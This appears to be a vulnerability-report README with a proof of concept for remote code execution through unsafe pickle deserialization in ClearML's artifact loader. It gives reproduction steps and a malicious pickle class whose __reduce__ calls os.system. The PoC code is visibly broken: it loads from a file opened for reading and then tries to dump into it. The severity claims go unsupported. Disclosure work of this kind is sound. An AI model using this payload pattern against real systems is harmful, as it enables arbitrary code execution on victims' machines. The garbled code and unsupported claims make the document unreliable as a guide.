xiaoyaoes/clearml-pickle-rce

ClearML Pickle RCE PoC

Reported to huntr by xiaoyaoes

Vulnerability Location

File: clearml/binding/artifacts.py:309

The artifact loading mechanism calls pickle.load() to deserialize artifacts of type "pickle". The sole protection — SHA256 integrity check — only verifies that the file hasn't been corrupted, NOT that it's safe.

Key Details

1. block_unsafe_artifacts: bool = False (line 208) — default is OFF
2. SHA256 integrity check — only verifies file integrity, not safety
3. Zero pickle safety protections — no safe_globals, no trusted, no weights_only

Reproduction Steps

1. Create a malicious pickle payload with arbitrary code execution
2. Compute the SHA256 hash of the malicious pickle
3. Upload as a ClearML artifact with matching hash metadata
4. When any ClearML agent loads the artifact → pickle.load() triggers RCE

PoC

import pickle, os

class Pwn:
    def __reduce__(self):
        return (os.system, ('id',))

with open("clearml_poc.pkl", "rb") as f:
    pickle.load(f)  # ← RCE
    pickle.dump(Pwn(), f)

# When ClearML loads this pickle file → RCE triggered

Impact

CVSS 9.8 — Remote Code Execution

• Default configuration is vulnerable
• Supply chain attack vector
• No authentication required to receive the attack